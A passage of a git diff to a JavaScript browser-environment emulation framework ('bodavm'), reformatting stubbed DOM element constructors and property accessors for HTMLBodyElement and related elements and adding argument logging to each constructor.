bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "search_get", arguments); + }, + set: function search() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "search_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "hash", { + configurable: true, + enumerable: true, + get: function hash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "hash_get", arguments); + }, + set: function hash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "hash_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "href_get", arguments); + }, + set: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "href_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "toString", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLAudioElement.js b/env_xbb_lastest_jsdom/env/HTMLAudioElement.js index f35c6132..4ee77d70 100644 --- a/env_xbb_lastest_jsdom/env/HTMLAudioElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLAudioElement.js @@ -1,5 +1,19 @@ -// HTMLAudioElement对象 -bodavm.memory.globalobj['HTMLAudioElement'] = function HTMLAudioElement(){if (!(this instanceof HTMLAudioElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAudioElement'], "HTMLAudioElement"); -bodavm.memory.globalobj['HTMLAudioElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLMediaElement'].prototype; -bodavm.memory.globalobj['HTMLAudioElement'].__proto__=bodavm.memory.globalobj['HTMLMediaElement']; +// HTMLAudioElement对象 + +bodavm.memory.globalobj['HTMLAudioElement'] = function HTMLAudioElement() { + console.log_copy('HTMLAudioElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLAudioElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAudioElement'], "HTMLAudioElement"); +bodavm.memory.globalobj['HTMLAudioElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLMediaElement'].prototype; +bodavm.memory.globalobj['HTMLAudioElement'].__proto__ = bodavm.memory.globalobj['HTMLMediaElement']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLBRElement.js b/env_xbb_lastest_jsdom/env/HTMLBRElement.js index c82f4c52..39df472a 100644 --- a/env_xbb_lastest_jsdom/env/HTMLBRElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLBRElement.js @@ -1,6 +1,29 @@ -// HTMLBRElement对象 -bodavm.memory.globalobj['HTMLBRElement'] = function HTMLBRElement(){if (!(this instanceof HTMLBRElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLBRElement'], "HTMLBRElement"); -bodavm.memory.globalobj['HTMLBRElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLBRElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLBRElement', "clear", {configurable:true, enumerable:true, get:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBRElement'].prototype, "HTMLBRElement", "clear_get", arguments)}, set:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBRElement'].prototype, "HTMLBRElement", "clear_set", arguments)}},'prototype'); +// HTMLBRElement对象 + +bodavm.memory.globalobj['HTMLBRElement'] = function HTMLBRElement() { + console.log_copy('HTMLBRElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLBRElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLBRElement'], "HTMLBRElement"); +bodavm.memory.globalobj['HTMLBRElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLBRElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLBRElement', "clear", { + configurable: true, + enumerable: true, + get: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBRElement'].prototype, "HTMLBRElement", "clear_get", arguments); + }, + set: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBRElement'].prototype, "HTMLBRElement", "clear_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLBaseElement.js b/env_xbb_lastest_jsdom/env/HTMLBaseElement.js index 7837cf16..cf017a79 100644 --- a/env_xbb_lastest_jsdom/env/HTMLBaseElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLBaseElement.js @@ -1,7 +1,39 @@ -// HTMLBaseElement对象 -bodavm.memory.globalobj['HTMLBaseElement'] = function HTMLBaseElement(){if (!(this instanceof HTMLBaseElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLBaseElement'], "HTMLBaseElement"); -bodavm.memory.globalobj['HTMLBaseElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLBaseElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLBaseElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBaseElement'].prototype, "HTMLBaseElement", "href_get", arguments)}, set:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBaseElement'].prototype, "HTMLBaseElement", "href_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBaseElement', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBaseElement'].prototype, "HTMLBaseElement", "target_get", arguments)}, set:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBaseElement'].prototype, "HTMLBaseElement", "target_set", arguments)}},'prototype'); +// HTMLBaseElement对象 + +bodavm.memory.globalobj['HTMLBaseElement'] = function HTMLBaseElement() { + console.log_copy('HTMLBaseElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLBaseElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLBaseElement'], "HTMLBaseElement"); +bodavm.memory.globalobj['HTMLBaseElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLBaseElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLBaseElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBaseElement'].prototype, "HTMLBaseElement", "href_get", arguments); + }, + set: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBaseElement'].prototype, "HTMLBaseElement", "href_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBaseElement', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBaseElement'].prototype, "HTMLBaseElement", "target_get", arguments); + }, + set: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBaseElement'].prototype, "HTMLBaseElement", "target_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLBodyElement.js b/env_xbb_lastest_jsdom/env/HTMLBodyElement.js index 0ae1ffc1..4480bbe8 100644 --- a/env_xbb_lastest_jsdom/env/HTMLBodyElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLBodyElement.js @@ -1,33 +1,299 @@ -// HTMLBodyElement对象 -bodavm.memory.globalobj['HTMLBodyElement'] = function HTMLBodyElement(){if (!(this instanceof HTMLBodyElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLBodyElement'], "HTMLBodyElement"); -bodavm.memory.globalobj['HTMLBodyElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLBodyElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "text_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "link", {configurable:true, enumerable:true, get:function link (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "link_get", arguments)}, set:function link (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "link_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "vLink", {configurable:true, enumerable:true, get:function vLink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "vLink_get", arguments)}, set:function vLink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "vLink_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "aLink", {configurable:true, enumerable:true, get:function aLink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "aLink_get", arguments)}, set:function aLink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "aLink_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "bgColor", {configurable:true, enumerable:true, get:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "bgColor_get", arguments)}, set:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "bgColor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "background", {configurable:true, enumerable:true, get:function background (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "background_get", arguments)}, set:function background (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "background_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onblur", {configurable:true, enumerable:true, get:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onblur_get", arguments)}, set:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onblur_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onfocus", {configurable:true, enumerable:true, get:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onfocus_get", arguments)}, set:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onfocus_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onresize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onscroll_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onafterprint", {configurable:true, enumerable:true, get:function onafterprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onafterprint_get", arguments)}, set:function onafterprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onafterprint_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onbeforeprint", {configurable:true, enumerable:true, get:function onbeforeprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeprint_get", arguments)}, set:function onbeforeprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeprint_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onbeforeunload", {configurable:true, enumerable:true, get:function onbeforeunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeunload_get", arguments)}, set:function onbeforeunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeunload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onhashchange", {configurable:true, enumerable:true, get:function onhashchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onhashchange_get", arguments)}, set:function onhashchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onhashchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onlanguagechange", {configurable:true, enumerable:true, get:function onlanguagechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onlanguagechange_get", arguments)}, set:function onlanguagechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onlanguagechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onmessageerror", {configurable:true, enumerable:true, get:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessageerror_get", arguments)}, set:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessageerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onoffline", {configurable:true, enumerable:true, get:function onoffline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onoffline_get", arguments)}, set:function onoffline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onoffline_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "ononline", {configurable:true, enumerable:true, get:function ononline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "ononline_get", arguments)}, set:function ononline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "ononline_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onpagehide", {configurable:true, enumerable:true, get:function onpagehide (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpagehide_get", arguments)}, set:function onpagehide (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpagehide_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onpageshow", {configurable:true, enumerable:true, get:function onpageshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpageshow_get", arguments)}, set:function onpageshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpageshow_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onpopstate", {configurable:true, enumerable:true, get:function onpopstate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpopstate_get", arguments)}, set:function onpopstate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpopstate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onrejectionhandled", {configurable:true, enumerable:true, get:function onrejectionhandled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onrejectionhandled_get", arguments)}, set:function onrejectionhandled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onrejectionhandled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onstorage", {configurable:true, enumerable:true, get:function onstorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onstorage_get", arguments)}, set:function onstorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onstorage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onunhandledrejection", {configurable:true, enumerable:true, get:function onunhandledrejection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunhandledrejection_get", arguments)}, set:function onunhandledrejection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunhandledrejection_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onunload", {configurable:true, enumerable:true, get:function onunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunload_get", arguments)}, set:function onunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunload_set", arguments)}},'prototype'); +// HTMLBodyElement对象 + +bodavm.memory.globalobj['HTMLBodyElement'] = function HTMLBodyElement() { + console.log_copy('HTMLBodyElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLBodyElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLBodyElement'], "HTMLBodyElement"); +bodavm.memory.globalobj['HTMLBodyElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLBodyElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "text", { + configurable: true, + enumerable: true, + get: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "text_get", arguments); + }, + set: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "text_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "link", { + configurable: true, + enumerable: true, + get: function link() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "link_get", arguments); + }, + set: function link() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "link_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "vLink", { + configurable: true, + enumerable: true, + get: function vLink() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "vLink_get", arguments); + }, + set: function vLink() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "vLink_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "aLink", { + configurable: true, + enumerable: true, + get: function aLink() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "aLink_get", arguments); + }, + set: function aLink() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "aLink_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "bgColor", { + configurable: true, + enumerable: true, + get: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "bgColor_get", arguments); + }, + set: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "bgColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "background", { + configurable: true, + enumerable: true, + get: function background() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "background_get", arguments); + }, + set: function background() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "background_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onblur", { + configurable: true, + enumerable: true, + get: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onblur_get", arguments); + }, + set: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onblur_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onfocus", { + configurable: true, + enumerable: true, + get: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onfocus_get", arguments); + }, + set: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onfocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onload", { + configurable: true, + enumerable: true, + get: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onload_get", arguments); + }, + set: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onresize", { + configurable: true, + enumerable: true, + get: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onresize_get", arguments); + }, + set: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onresize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onscroll", { + configurable: true, + enumerable: true, + get: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onscroll_get", arguments); + }, + set: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onscroll_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onafterprint", { + configurable: true, + enumerable: true, + get: function onafterprint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onafterprint_get", arguments); + }, + set: function onafterprint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onafterprint_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onbeforeprint", { + configurable: true, + enumerable: true, + get: function onbeforeprint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeprint_get", arguments); + }, + set: function onbeforeprint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeprint_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onbeforeunload", { + configurable: true, + enumerable: true, + get: function onbeforeunload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeunload_get", arguments); + }, + set: function onbeforeunload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeunload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onhashchange", { + configurable: true, + enumerable: true, + get: function onhashchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, 